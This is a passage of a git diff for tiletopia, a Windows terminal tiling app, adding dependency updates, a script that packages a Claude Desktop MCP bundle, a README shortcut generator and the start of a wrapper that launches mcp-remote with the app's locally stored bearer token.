- **Backend SpawnSpec enum** (serde-tagged) replaces the old `distro: Option<String>` model. `pty.rs::spawn` dispatches; SSH builds `ssh.exe -t [-l user] [-p port] [-i id] [-J jump] -- host` with `TERM=xterm-256color`. Token validation rejects leading `-` and control chars (CVE-2023-51385).
|
||||
- **Clickable URLs** via `@xterm/addon-web-links` routed through `@tauri-apps/plugin-opener`. Needed scoped `opener:allow-open-url` permission with `http/https/mailto` allow list, not the bare identifier.
|
||||
- **Saved SSH hosts** with manager modal (label/host/user/port/identityFile/jumpHost/extraArgs), stored in `hosts.json`. Hierarchical per-pane dropdown: WSL distros → PowerShell → SSH hosts → "Manage hosts…".
|
||||
- **Saved passwords** in Windows Credential Manager via `keyring-core` 1.0 + `windows-native-keyring-store` 1.0 (keyring-rs 4.x is sample code only now; the lib was split). Reader thread autotypes the password when ssh prompts (`password:`/`passphrase` regex, 30s window, one-shot). Passwords never on disk, never in IPC events, never in MCP.
|
||||
- **Promote-out gesture**: first tried drag-past-sibling (75% then 50% threshold), but the inner gutter is too easy to miss — xterm canvas hit-testing felt unreliable. Ripped all the drag-armed/preview logic, replaced with **Ctrl+Shift+P keyboard shortcut** that calls `promoteLeaf(tree, activeLeafId)` (self-inverse).
|
||||
- **Help overlay**: titlebar `?` button + F1, sourced from a single `src/lib/shortcuts.ts` SoT (sections + tips).
|
||||
- **MCP server v1 (read-only)** via `rmcp` 1.7.0 Streamable HTTP on 127.0.0.1, bearer-token auth, OS-picked port. Per-pane `mcpAllow` flag (default-deny) gates what's mirrored to the backend. Resources: `tiletopia://layout`, `tiletopia://panes`, `tiletopia://hosts`. Tools: `read_pane(leaf_id, last_lines, after_seq)` + `wait_for_idle(leaf_id, idle_ms, timeout_ms)`. 256 KB per-pane scrollback ring populated by the PTY reader thread. Titlebar 🤖 toggle opens an `McpPanel` with URL + token + ready-to-paste Claude config snippet.
|
||||
- **WSL → Windows networking gotcha**: WSL2 default NAT mode hides Windows `127.0.0.1`. User needs `networkingMode=mirrored` in `%UserProfile%\.wslconfig` (Win 11 22H2+) then `wsl --shutdown` to reconnect. Documented in McpPanel + README + help overlay.
|
||||
- **Tree-helper data model** also gained: `setLeafShell` (replaces `changeDistro` for shell switches; id-swap forces respawn), `promoteLeaf`, `toggleMcpAllow`. `reshapeToPreset` carries new fields. 72 vitest cases, all green.
|
||||
|
||||
Open follow-ups specific to this session:
|
||||
- **MCP v2** — `write_pane`, `spawn_pane`, `connect_host`, `close_pane`, `apply_preset`, `promote_pane`, `set_label`, `swap_panes`, `add_host`. Spawned panes should auto-set `mcpAllow=true` (per user). Still skip `set_host_password` from MCP.
|
||||
- **MCP write surface should require a confirmation** for `write_pane` on SSH panes (footgun avoidance).
|
||||
- **`.mcpb` bundle** as a one-click Claude Desktop install path.
|
||||
- **Per-pane MCP audit log** in the panel — show last N tool calls so the user can spot Claude doing surprising things.
|
||||
|
||||
### 2026-05-22 — M5 ship infrastructure
|
||||
|
||||
- New icon: `scripts/make-icon.py` (Pillow) draws a 1024×1024 dark rounded square with a 2×2 grid — one tile in the active-blue, one in the broadcast-orange, two muted. Mirrors the in-app `.leaf.active` / `.leaf.broadcasting` colors so the brand is consistent end-to-end.
|
||||
|
|
|
|||
11
package.json
11
package.json
|
|
@ -1,7 +1,7 @@
|
|||
{
|
||||
"name": "tiletopia",
|
||||
"private": true,
|
||||
"version": "0.2.3",
|
||||
"version": "0.4.1",
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "vite",
|
||||
|
|
@ -9,13 +9,20 @@
|
|||
"preview": "vite preview",
|
||||
"test": "vitest run",
|
||||
"test:watch": "vitest",
|
||||
"check": "tsc --noEmit",
|
||||
"check": "tsc -b",
|
||||
"build:mcpb": "node scripts/build-mcpb.mjs",
|
||||
"gen:readme": "node scripts/gen-readme-shortcuts.mjs",
|
||||
"tauri": "tauri"
|
||||
},
|
||||
"dependencies": {
|
||||
"@tauri-apps/api": "^2.0.0",
|
||||
"@tauri-apps/plugin-clipboard-manager": "^2.0.0",
|
||||
"@tauri-apps/plugin-opener": "^2.0.0",
|
||||
"@xterm/addon-canvas": "^0.7.0",
|
||||
"@xterm/addon-fit": "^0.10.0",
|
||||
"@xterm/addon-search": "^0.15.0",
|
||||
"@xterm/addon-unicode11": "^0.8.0",
|
||||
"@xterm/addon-web-links": "^0.12.0",
|
||||
"@xterm/xterm": "^5.5.0",
|
||||
"react": "^18.3.0",
|
||||
"react-dom": "^18.3.0"
|
||||
|
|
|
|||
54
pnpm-lock.yaml
generated
54
pnpm-lock.yaml
generated
|
|
@ -14,9 +14,24 @@ importers:
|
|||
'@tauri-apps/plugin-clipboard-manager':
|
||||
specifier: ^2.0.0
|
||||
version: 2.3.2
|
||||
'@tauri-apps/plugin-opener':
|
||||
specifier: ^2.0.0
|
||||
version: 2.5.4
|
||||
'@xterm/addon-canvas':
|
||||
specifier: ^0.7.0
|
||||
version: 0.7.0(@xterm/xterm@5.5.0)
|
||||
'@xterm/addon-fit':
|
||||
specifier: ^0.10.0
|
||||
version: 0.10.0(@xterm/xterm@5.5.0)
|
||||
'@xterm/addon-search':
|
||||
specifier: ^0.15.0
|
||||
version: 0.15.0(@xterm/xterm@5.5.0)
|
||||
'@xterm/addon-unicode11':
|
||||
specifier: ^0.8.0
|
||||
version: 0.8.0(@xterm/xterm@5.5.0)
|
||||
'@xterm/addon-web-links':
|
||||
specifier: ^0.12.0
|
||||
version: 0.12.0
|
||||
'@xterm/xterm':
|
||||
specifier: ^5.5.0
|
||||
version: 5.5.0
|
||||
|
|
@ -511,6 +526,9 @@ packages:
|
|||
'@tauri-apps/plugin-clipboard-manager@2.3.2':
|
||||
resolution: {integrity: sha512-CUlb5Hqi2oZbcZf4VUyUH53XWPPdtpw43EUpCza5HWZJwxEoDowFzNUDt1tRUXA8Uq+XPn17Ysfptip33sG4eQ==}
|
||||
|
||||
'@tauri-apps/plugin-opener@2.5.4':
|
||||
resolution: {integrity: sha512-1HnPkb+AmgO29HBazm4uPLKB+r7zzcTBW1d0fyYp1uP+jwtpoiNDGKMMzz58SFp49nOIrxdE3aUJtT57lfO9CQ==}
|
||||
|
||||
'@types/babel__core@7.20.5':
|
||||
resolution: {integrity: sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==}
|
||||
|
||||
|
|
@ -575,11 +593,29 @@ packages:
|
|||
'@vitest/utils@2.1.9':
|
||||
resolution: {integrity: sha512-v0psaMSkNJ3A2NMrUEHFRzJtDPFn+/VWZ5WxImB21T9fjucJRmS7xCS3ppEnARb9y11OAzaD+P2Ps+b+BGX5iQ==}
|
||||
|
||||
'@xterm/addon-canvas@0.7.0':
|
||||
resolution: {integrity: sha512-LF5LYcfvefJuJ7QotNRdRSPc9YASAVDeoT5uyXS/nZshZXjYplGXRECBGiznwvhNL2I8bq1Lf5MzRwstsYQ2Iw==}
|
||||
peerDependencies:
|
||||
'@xterm/xterm': ^5.0.0
|
||||
|
||||
'@xterm/addon-fit@0.10.0':
|
||||
resolution: {integrity: sha512-UFYkDm4HUahf2lnEyHvio51TNGiLK66mqP2JoATy7hRZeXaGMRDr00JiSF7m63vR5WKATF605yEggJKsw0JpMQ==}
|
||||
peerDependencies:
|
||||
'@xterm/xterm': ^5.0.0
|
||||
|
||||
'@xterm/addon-search@0.15.0':
|
||||
resolution: {integrity: sha512-ZBZKLQ+EuKE83CqCmSSz5y1tx+aNOCUaA7dm6emgOX+8J9H1FWXZyrKfzjwzV+V14TV3xToz1goIeRhXBS5qjg==}
|
||||
peerDependencies:
|
||||
'@xterm/xterm': ^5.0.0
|
||||
|
||||
'@xterm/addon-unicode11@0.8.0':
|
||||
resolution: {integrity: sha512-LxinXu8SC4OmVa6FhgwsVCBZbr8WoSGzBl2+vqe8WcQ6hb1r6Gj9P99qTNdPiFPh4Ceiu2pC8xukZ6+2nnh49Q==}
|
||||
peerDependencies:
|
||||
'@xterm/xterm': ^5.0.0
|
||||
|
||||
'@xterm/addon-web-links@0.12.0':
|
||||
resolution: {integrity: sha512-4Smom3RPyVp7ZMYOYDoC/9eGJJJqYhnPLGGqJ6wOBfB8VxPViJNSKdgRYb8NpaM6YSelEKbA2SStD7lGyqaobw==}
|
||||
|
||||
'@xterm/xterm@5.5.0':
|
||||
resolution: {integrity: sha512-hqJHYaQb5OptNunnyAnkHyM8aCjZ1MEIDTQu1iIbbTD/xops91NB5yq1ZK/dC2JDbVWtF23zUtl9JE2NqwT87A==}
|
||||
|
||||
|
|
@ -1182,6 +1218,10 @@ snapshots:
|
|||
dependencies:
|
||||
'@tauri-apps/api': 2.11.0
|
||||
|
||||
'@tauri-apps/plugin-opener@2.5.4':
|
||||
dependencies:
|
||||
'@tauri-apps/api': 2.11.0
|
||||
|
||||
'@types/babel__core@7.20.5':
|
||||
dependencies:
|
||||
'@babel/parser': 7.29.3
|
||||
|
|
@ -1270,10 +1310,24 @@ snapshots:
|
|||
loupe: 3.2.1
|
||||
tinyrainbow: 1.2.0
|
||||
|
||||
'@xterm/addon-canvas@0.7.0(@xterm/xterm@5.5.0)':
|
||||
dependencies:
|
||||
'@xterm/xterm': 5.5.0
|
||||
|
||||
'@xterm/addon-fit@0.10.0(@xterm/xterm@5.5.0)':
|
||||
dependencies:
|
||||
'@xterm/xterm': 5.5.0
|
||||
|
||||
'@xterm/addon-search@0.15.0(@xterm/xterm@5.5.0)':
|
||||
dependencies:
|
||||
'@xterm/xterm': 5.5.0
|
||||
|
||||
'@xterm/addon-unicode11@0.8.0(@xterm/xterm@5.5.0)':
|
||||
dependencies:
|
||||
'@xterm/xterm': 5.5.0
|
||||
|
||||
'@xterm/addon-web-links@0.12.0': {}
|
||||
|
||||
'@xterm/xterm@5.5.0': {}
|
||||
|
||||
assertion-error@2.0.1: {}
|
||||
|
|
|
|||
259
scripts/build-mcpb.mjs
Normal file
259
scripts/build-mcpb.mjs
Normal file
|
|
@ -0,0 +1,259 @@
|
|||
#!/usr/bin/env node
|
||||
// build-mcpb.mjs — package tiletopia's Claude Desktop MCP bundle.
|
||||
//
|
||||
// Produces dist-mcpb/tiletopia.mcpb — an .mcpb (MCP Bundle, the format
|
||||
// formerly known as DXT) zip containing:
|
||||
// manifest.json → declares a node-type server pointing at the wrapper
|
||||
// server/index.mjs → the wrapper script that reads %APPDATA% and
|
||||
// execs `npx -y mcp-remote ...` (see mcpb-wrapper.mjs)
|
||||
// icon.png → 128×128 brand icon
|
||||
//
|
||||
// Usage:
|
||||
// pnpm run build:mcpb
|
||||
// or
|
||||
// node scripts/build-mcpb.mjs
|
||||
//
|
||||
// Output:
|
||||
// dist-mcpb/tiletopia.mcpb — drag-and-drop this into Claude Desktop's
|
||||
// Extensions panel to install.
|
||||
//
|
||||
// Design notes:
|
||||
// - The bundle bakes in NO secrets. The bearer token + port are read at
|
||||
// runtime from %APPDATA%\com.megaproxy.tiletopia\mcp.json on the user's
|
||||
// own machine. Each install of tiletopia generates its own token; the
|
||||
// bundle is the same for everyone.
|
||||
// - We write the zip ourselves (store-only, no compression) to avoid a
|
||||
// devDep on archiver/jszip/etc. The MCPB spec is just a regular zip;
|
||||
// three small files = trivial.
|
||||
// - The manifest's `version` mirrors package.json so the panel UI can show
|
||||
// "Bundle v0.2.3 — matches running app".
|
||||
|
||||
import { readFile, writeFile, mkdir, stat } from "node:fs/promises";
|
||||
import { existsSync } from "node:fs";
|
||||
import { dirname, join, resolve } from "node:path";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { deflateRawSync, crc32 } from "node:zlib";
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const REPO_ROOT = resolve(HERE, "..");
|
||||
const PKG_PATH = join(REPO_ROOT, "package.json");
|
||||
const WRAPPER_PATH = join(HERE, "mcpb-wrapper.mjs");
|
||||
const ICON_PATH = join(REPO_ROOT, "src-tauri", "icons", "128x128.png");
|
||||
const OUT_DIR = join(REPO_ROOT, "dist-mcpb");
|
||||
const OUT_PATH = join(OUT_DIR, "tiletopia.mcpb");
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Read inputs
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
if (!existsSync(WRAPPER_PATH)) {
|
||||
console.error(`missing wrapper: ${WRAPPER_PATH}`);
|
||||
process.exit(1);
|
||||
}
|
||||
if (!existsSync(ICON_PATH)) {
|
||||
console.error(`missing icon: ${ICON_PATH}`);
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
const pkg = JSON.parse(await readFile(PKG_PATH, "utf8"));
|
||||
const wrapperSrc = await readFile(WRAPPER_PATH);
|
||||
const iconBytes = await readFile(ICON_PATH);
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Manifest
|
||||
//
|
||||
// Schema reference: https://github.com/modelcontextprotocol/mcpb/blob/main/MANIFEST.md
|
||||
//
|
||||
// type=node + entry_point pointing at server/index.mjs + mcp_config.command
|
||||
// = "node" matches Claude Desktop's expectations. We avoid a `user_config`
|
||||
// block on purpose — the wrapper reads the token from %APPDATA% so the user
|
||||
// doesn't have to copy-paste it at install time.
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
const manifest = {
|
||||
manifest_version: "0.3",
|
||||
name: "tiletopia",
|
||||
display_name: "tiletopia (workspace driver)",
|
||||
version: pkg.version,
|
||||
description:
|
||||
"Drive your tiletopia workspace from Claude Desktop — inspect panes, " +
|
||||
"read scrollback, reshape the layout, and (with policy approval) send " +
|
||||
"commands.",
|
||||
long_description:
|
||||
"tiletopia is a Windows tiling terminal manager for WSL. This bundle " +
|
||||
"lets Claude Desktop connect to a running tiletopia process on the same " +
|
||||
"machine via its embedded MCP server. The bundle reads the per-install " +
|
||||
"bearer token and port from %APPDATA%\\com.megaproxy.tiletopia\\mcp.json " +
|
||||
"at launch, so you don't need to paste any credentials during install. " +
|
||||
"Start the MCP server once from tiletopia's 🤖 panel (Server: ON), then " +
|
||||
"drop this bundle into Claude Desktop and it will connect automatically. " +
|
||||
"All write operations (spawn, write keystrokes, reshape) are gated by " +
|
||||
"the per-pane allow-list and the user-editable policy inside tiletopia.",
|
||||
author: {
|
||||
name: "megaproxy",
|
||||
url: "https://git.rdx4.com/megaproxy/tiletopia",
|
||||
},
|
||||
repository: {
|
||||
type: "git",
|
||||
url: "https://git.rdx4.com/megaproxy/tiletopia.git",
|
||||
},
|
||||
homepage: "https://git.rdx4.com/megaproxy/tiletopia",
|
||||
documentation: "https://git.rdx4.com/megaproxy/tiletopia#mcp-server-claude-can-drive-the-workspace",
|
||||
support: "https://git.rdx4.com/megaproxy/tiletopia/issues",
|
||||
icon: "icon.png",
|
||||
server: {
|
||||
type: "node",
|
||||
entry_point: "server/index.mjs",
|
||||
mcp_config: {
|
||||
command: "node",
|
||||
args: ["${__dirname}/server/index.mjs"],
|
||||
},
|
||||
},
|
||||
keywords: ["tiletopia", "wsl", "terminal", "mcp", "claude"],
|
||||
license: "Proprietary",
|
||||
compatibility: {
|
||||
// Claude Desktop runtime requirements — the bundle launches node, which
|
||||
// shells out to npx mcp-remote; both need Node 18+ on PATH.
|
||||
platforms: ["win32"],
|
||||
runtimes: {
|
||||
node: ">=18.0.0",
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
const manifestBytes = Buffer.from(JSON.stringify(manifest, null, 2), "utf8");
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Build the .mcpb zip
|
||||
//
|
||||
// The MCPB spec is a plain ZIP file. We're writing three small files, so a
|
||||
// pure-Node store-only writer is simplest. Avoids adding archiver as a
|
||||
// devDep. Format reference: APPNOTE.TXT 6.3.4 sections 4.3 (local file
|
||||
// header), 4.4 (data descriptor), 4.5 (central directory).
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
const SIG_LFH = 0x04034b50;
|
||||
const SIG_CDH = 0x02014b50;
|
||||
const SIG_EOCD = 0x06054b50;
|
||||
|
||||
function dosTimeDate(date) {
|
||||
// DOS time/date format (2-second resolution; epoch 1980-01-01).
|
||||
const yr = Math.max(date.getFullYear(), 1980) - 1980;
|
||||
const time =
|
||||
((date.getHours() & 0x1f) << 11) |
|
||||
((date.getMinutes() & 0x3f) << 5) |
|
||||
((Math.floor(date.getSeconds() / 2)) & 0x1f);
|
||||
const dt =
|
||||
((yr & 0x7f) << 9) |
|
||||
(((date.getMonth() + 1) & 0x0f) << 5) |
|
||||
(date.getDate() & 0x1f);
|
||||
return { time, date: dt };
|
||||
}
|
||||
|
||||
function buildZip(entries) {
|
||||
const now = dosTimeDate(new Date());
|
||||
const chunks = [];
|
||||
const centralDir = [];
|
||||
let offset = 0;
|
||||
|
||||
for (const { name, data } of entries) {
|
||||
const nameBuf = Buffer.from(name, "utf8");
|
||||
const crc = crc32(data); // store-only — uncompressed crc == compressed crc
|
||||
const size = data.length;
|
||||
|
||||
// Local file header (4.3.7)
|
||||
const lfh = Buffer.alloc(30);
|
||||
lfh.writeUInt32LE(SIG_LFH, 0);
|
||||
lfh.writeUInt16LE(20, 4); // version needed (2.0)
|
||||
lfh.writeUInt16LE(0, 6); // general purpose bit flag
|
||||
lfh.writeUInt16LE(0, 8); // compression: store
|
||||
lfh.writeUInt16LE(now.time, 10);
|
||||
lfh.writeUInt16LE(now.date, 12);
|
||||
lfh.writeUInt32LE(crc, 14);
|
||||
lfh.writeUInt32LE(size, 18); // compressed size (== size for store)
|
||||
lfh.writeUInt32LE(size, 22); // uncompressed size
|
||||
lfh.writeUInt16LE(nameBuf.length, 26);
|
||||
lfh.writeUInt16LE(0, 28); // extra field length
|
||||
chunks.push(lfh, nameBuf, data);
|
||||
|
||||
// Central directory header (4.4.7)
|
||||
const cdh = Buffer.alloc(46);
|
||||
cdh.writeUInt32LE(SIG_CDH, 0);
|
||||
cdh.writeUInt16LE(20, 4); // version made by
|
||||
cdh.writeUInt16LE(20, 6); // version needed
|
||||
cdh.writeUInt16LE(0, 8); // gp flag
|
||||
cdh.writeUInt16LE(0, 10); // compression
|
||||
cdh.writeUInt16LE(now.time, 12);
|
||||
cdh.writeUInt16LE(now.date, 14);
|
||||
cdh.writeUInt32LE(crc, 16);
|
||||
cdh.writeUInt32LE(size, 20); // compressed size
|
||||
cdh.writeUInt32LE(size, 24); // uncompressed
|
||||
cdh.writeUInt16LE(nameBuf.length, 28);
|
||||
cdh.writeUInt16LE(0, 30); // extra len
|
||||
cdh.writeUInt16LE(0, 32); // comment len
|
||||
cdh.writeUInt16LE(0, 34); // disk number
|
||||
cdh.writeUInt16LE(0, 36); // internal attrs
|
||||
cdh.writeUInt32LE(0, 38); // external attrs
|
||||
cdh.writeUInt32LE(offset, 42); // local header offset
|
||||
centralDir.push(cdh, nameBuf);
|
||||
|
||||
offset += lfh.length + nameBuf.length + data.length;
|
||||
}
|
||||
|
||||
const cdStart = offset;
|
||||
for (const buf of centralDir) {
|
||||
chunks.push(buf);
|
||||
offset += buf.length;
|
||||
}
|
||||
const cdSize = offset - cdStart;
|
||||
|
||||
// End of central directory record (4.5)
|
||||
const eocd = Buffer.alloc(22);
|
||||
eocd.writeUInt32LE(SIG_EOCD, 0);
|
||||
eocd.writeUInt16LE(0, 4); // disk number
|
||||
eocd.writeUInt16LE(0, 6); // start disk
|
||||
eocd.writeUInt16LE(entries.length, 8); // entries on this disk
|
||||
eocd.writeUInt16LE(entries.length, 10); // total entries
|
||||
eocd.writeUInt32LE(cdSize, 12);
|
||||
eocd.writeUInt32LE(cdStart, 16);
|
||||
eocd.writeUInt16LE(0, 20); // comment length
|
||||
chunks.push(eocd);
|
||||
|
||||
// Silence the "unused on store path" lint trip; deflateRawSync stays
|
||||
// imported so a future maintainer who wants to add compression doesn't
|
||||
// have to re-figure out the right symbol.
|
||||
void deflateRawSync;
|
||||
|
||||
return Buffer.concat(chunks);
|
||||
}
|
||||
|
||||
const entries = [
|
||||
{ name: "manifest.json", data: manifestBytes },
|
||||
{ name: "server/index.mjs", data: wrapperSrc },
|
||||
{ name: "icon.png", data: iconBytes },
|
||||
];
|
||||
|
||||
const zipBytes = buildZip(entries);
|
||||
|
||||
await mkdir(OUT_DIR, { recursive: true });
|
||||
await writeFile(OUT_PATH, zipBytes);
|
||||
|
||||
const sizeKB = (zipBytes.length / 1024).toFixed(1);
|
||||
console.log(`wrote ${OUT_PATH} (${sizeKB} KB, ${entries.length} entries)`);
|
||||
for (const e of entries) {
|
||||
console.log(` ${e.name.padEnd(20)} ${e.data.length} bytes`);
|
||||
}
|
||||
console.log(
|
||||
`manifest version ${manifest.version} (mirrors package.json); ` +
|
||||
"to install, drag the .mcpb file into Claude Desktop's Extensions panel.",
|
||||
);
|
||||
|
||||
// Touch stat() so any "wrote nothing" CI bug surfaces here, not at the user's
|
||||
// next install.
|
||||
const written = await stat(OUT_PATH);
|
||||
if (written.size !== zipBytes.length) {
|
||||
console.error(
|
||||
`size mismatch: wrote ${zipBytes.length} bytes, file is ${written.size}`,
|
||||
);
|
||||
process.exit(1);
|
||||
}
|
||||
170
scripts/gen-readme-shortcuts.mjs
Normal file
170
scripts/gen-readme-shortcuts.mjs
Normal file
|
|
@ -0,0 +1,170 @@
|
|||
#!/usr/bin/env node
|
||||
// gen-readme-shortcuts.mjs — regenerate README.md's shortcut + tips section
|
||||
// from src/lib/shortcuts.ts (the single source of truth used by the in-app
|
||||
// help overlay).
|
||||
//
|
||||
// Usage:
|
||||
// node scripts/gen-readme-shortcuts.mjs # rewrite README
|
||||
// node scripts/gen-readme-shortcuts.mjs --check # exit 1 if README would change
|
||||
//
|
||||
// To extend: add or edit entries in src/lib/shortcuts.ts, then run this
|
||||
// script. The README marker block <!-- SHORTCUTS:START --> ... <!-- SHORTCUTS:END -->
|
||||
// is replaced atomically; the rest of the README is left alone.
|
||||
|
||||
import { readFile, writeFile, mkdtemp, rm } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join, dirname, resolve } from "node:path";
|
||||
import { fileURLToPath, pathToFileURL } from "node:url";
|
||||
|
||||
const HERE = dirname(fileURLToPath(import.meta.url));
|
||||
const REPO_ROOT = resolve(HERE, "..");
|
||||
const SHORTCUTS_TS = join(REPO_ROOT, "src", "lib", "shortcuts.ts");
|
||||
const README_PATH = join(REPO_ROOT, "README.md");
|
||||
|
||||
const START_MARKER = "<!-- SHORTCUTS:START -->";
|
||||
const END_MARKER = "<!-- SHORTCUTS:END -->";
|
||||
|
||||
const CHECK_MODE = process.argv.includes("--check");
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Load shortcuts.ts as data. The file is pure data exports — no React, no
|
||||
// runtime imports — so we can strip TypeScript-only syntax with regex, drop
|
||||
// the result into a temp .mjs file, and dynamically import it. Cheaper than
|
||||
// pulling in tsx/esbuild as a devDep just for this one script.
|
||||
// ----------------------------------------------------------------------------
|
||||
async function loadShortcutsModule() {
|
||||
const src = await readFile(SHORTCUTS_TS, "utf8");
|
||||
// Strip `export interface { ... }` blocks (handles nested braces by
|
||||
// walking; the file has flat interfaces today so a brace-counter is enough).
|
||||
const stripped = stripInterfaceDecls(src)
|
||||
// Drop `: TypeAnnotation` on the export declarations
|
||||
// (e.g. `export const SHORTCUT_SECTIONS: ShortcutSection[] = [...]`).
|
||||
.replace(/^(export\s+const\s+\w+)\s*:\s*[^=]+?=/gm, "$1 =");
|
||||
|
||||
const dir = await mkdtemp(join(tmpdir(), "tiletopia-genreadme-"));
|
||||
const tmpFile = join(dir, "shortcuts.mjs");
|
||||
try {
|
||||
await writeFile(tmpFile, stripped, "utf8");
|
||||
return await import(pathToFileURL(tmpFile).href);
|
||||
} finally {
|
||||
await rm(dir, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
function stripInterfaceDecls(src) {
|
||||
let out = "";
|
||||
let i = 0;
|
||||
while (i < src.length) {
|
||||
const match = src.slice(i).match(/^export\s+interface\s+\w+\s*\{/m);
|
||||
if (!match) {
|
||||
out += src.slice(i);
|
||||
break;
|
||||
}
|
||||
const localStart = src.indexOf(match[0], i);
|
||||
out += src.slice(i, localStart);
|
||||
// Walk braces to find the end of the interface block.
|
||||
let depth = 0;
|
||||
let j = localStart + match[0].length - 1; // points at the opening `{`
|
||||
for (; j < src.length; j++) {
|
||||
const c = src[j];
|
||||
if (c === "{") depth++;
|
||||
else if (c === "}") {
|
||||
depth--;
|
||||
if (depth === 0) {
|
||||
j++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
i = j;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Render the markdown block. Mirrors the README's existing table style:
|
||||
// - 2-column `| Key | Action |` table
|
||||
// - keys wrapped in backticks
|
||||
// - description in plain prose
|
||||
// Tips render as a `#### Title` heading plus a paragraph.
|
||||
// ----------------------------------------------------------------------------
|
||||
function renderBlock({ SHORTCUT_SECTIONS, TIPS }) {
|
||||
const lines = [];
|
||||
lines.push("");
|
||||
lines.push("#### Keyboard shortcuts");
|
||||
lines.push("");
|
||||
for (const section of SHORTCUT_SECTIONS) {
|
||||
lines.push(`**${section.title}**`);
|
||||
lines.push("");
|
||||
lines.push("| Key | Action |");
|
||||
lines.push("|---|---|");
|
||||
for (const item of section.items) {
|
||||
lines.push(`| \`${escapeCell(item.keys)}\` | ${escapeCell(item.description)} |`);
|
||||
}
|
||||
lines.push("");
|
||||
}
|
||||
lines.push("#### Tips");
|
||||
lines.push("");
|
||||
for (const tip of TIPS) {
|
||||
lines.push(`- **${escapeInline(tip.title)}** — ${escapeInline(tip.body)}`);
|
||||
}
|
||||
lines.push("");
|
||||
return lines.join("\n");
|
||||
}
|
||||
|
||||
// Cell values must not contain raw pipes (would break the table) or newlines.
|
||||
function escapeCell(s) {
|
||||
return s.replace(/\|/g, "\\|").replace(/\n/g, " ");
|
||||
}
|
||||
|
||||
// Body text gets newlines collapsed but pipes kept (lists, not tables).
|
||||
function escapeInline(s) {
|
||||
return s.replace(/\n/g, " ");
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Splice the generated block into the README between the markers.
|
||||
// ----------------------------------------------------------------------------
|
||||
function spliceReadme(readme, block) {
|
||||
const startIdx = readme.indexOf(START_MARKER);
|
||||
const endIdx = readme.indexOf(END_MARKER);
|
||||
if (startIdx === -1 || endIdx === -1) {
|
||||
throw new Error(
|
||||
`README.md is missing one of the markers (${START_MARKER} / ${END_MARKER}). ` +
|
||||
"Add them around the section you want regenerated.",
|
||||
);
|
||||
}
|
||||
if (endIdx < startIdx) {
|
||||
throw new Error(`${END_MARKER} appears before ${START_MARKER} in README.md`);
|
||||
}
|
||||
const before = readme.slice(0, startIdx + START_MARKER.length);
|
||||
const after = readme.slice(endIdx);
|
||||
return `${before}\n${block}\n${after}`;
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Main.
|
||||
// ----------------------------------------------------------------------------
|
||||
const mod = await loadShortcutsModule();
|
||||
const block = renderBlock(mod);
|
||||
const readme = await readFile(README_PATH, "utf8");
|
||||
const next = spliceReadme(readme, block);
|
||||
|
||||
if (CHECK_MODE) {
|
||||
if (next !== readme) {
|
||||
process.stderr.write(
|
||||
"README.md is out of sync with src/lib/shortcuts.ts. " +
|
||||
"Run `pnpm gen:readme` to regenerate.\n",
|
||||
);
|
||||
process.exit(1);
|
||||
}
|
||||
process.stdout.write("README.md is in sync with src/lib/shortcuts.ts.\n");
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
if (next === readme) {
|
||||
process.stdout.write("README.md already up to date.\n");
|
||||
} else {
|
||||
await writeFile(README_PATH, next, "utf8");
|
||||
process.stdout.write("README.md regenerated.\n");
|
||||
}
|
||||
110
scripts/mcpb-wrapper.mjs
Normal file
110
scripts/mcpb-wrapper.mjs
Normal file
|
|
@ -0,0 +1,110 @@
|
|||
#!/usr/bin/env node
|
||||
// tiletopia .mcpb wrapper — entry_point for the bundled MCP server.
|
||||
//
|
||||
// What this is: a thin stdio shim Claude Desktop launches when the user
|
||||
// installs `tiletopia.mcpb`. It reads the per-install MCP server settings
|
||||
// (port + bearer token) that the running tiletopia app persisted to
|
||||
// %APPDATA%\com.megaproxy.tiletopia\mcp.json, then execs `npx -y mcp-remote`
|
||||
// with the right URL + Authorization header. Claude talks stdio to us; we
|
||||
// proxy through mcp-remote, which talks HTTP to the tiletopia process.
|
||||
//
|
||||
// Why a wrapper (not just static args in the manifest):
|
||||
// - The bearer token is per-install — generated at first server start, also
|
||||
// rotated whenever the user clicks "Regenerate" in the MCP panel. We
|
||||
// can't bake it into the bundle (that'd be wrong for every other user)
|
||||
// and we don't want to make the user paste it into a user_config prompt
|
||||
// at install time. Reading it from %APPDATA% at launch makes the whole
|
||||
// thing zero-config and survives token rotation transparently.
|
||||
// - The port may also drift (if the saved port is taken, tiletopia falls
|
||||
// back to an OS-picked one and re-persists). Reading at launch keeps us
|
||||
// correct across that too.
|
||||
//
|
||||
// Failure modes & messages: every error we emit goes to stderr so the user
|
||||
// sees it in Claude Desktop's extension log. We deliberately do NOT swallow
|
||||
// or transform mcp-remote's own output beyond piping it.
|
||||
|
||||
import { spawn } from "node:child_process";
|
||||
import { readFileSync, existsSync } from "node:fs";
|
||||
import { join } from "node:path";
|
||||
|
||||
const APPDATA = process.env.APPDATA;
|
||||
if (!APPDATA) {
|
||||
console.error(
|
||||
"[tiletopia-mcpb] %APPDATA% is unset — this bundle only runs on Windows.",
|
||||
);
|
||||
process.exit(2);
|
||||
}
|
||||
|
||||
const CFG_PATH = join(APPDATA, "com.megaproxy.tiletopia", "mcp.json");
|
||||
if (!existsSync(CFG_PATH)) {
|
||||
console.error(
|
||||
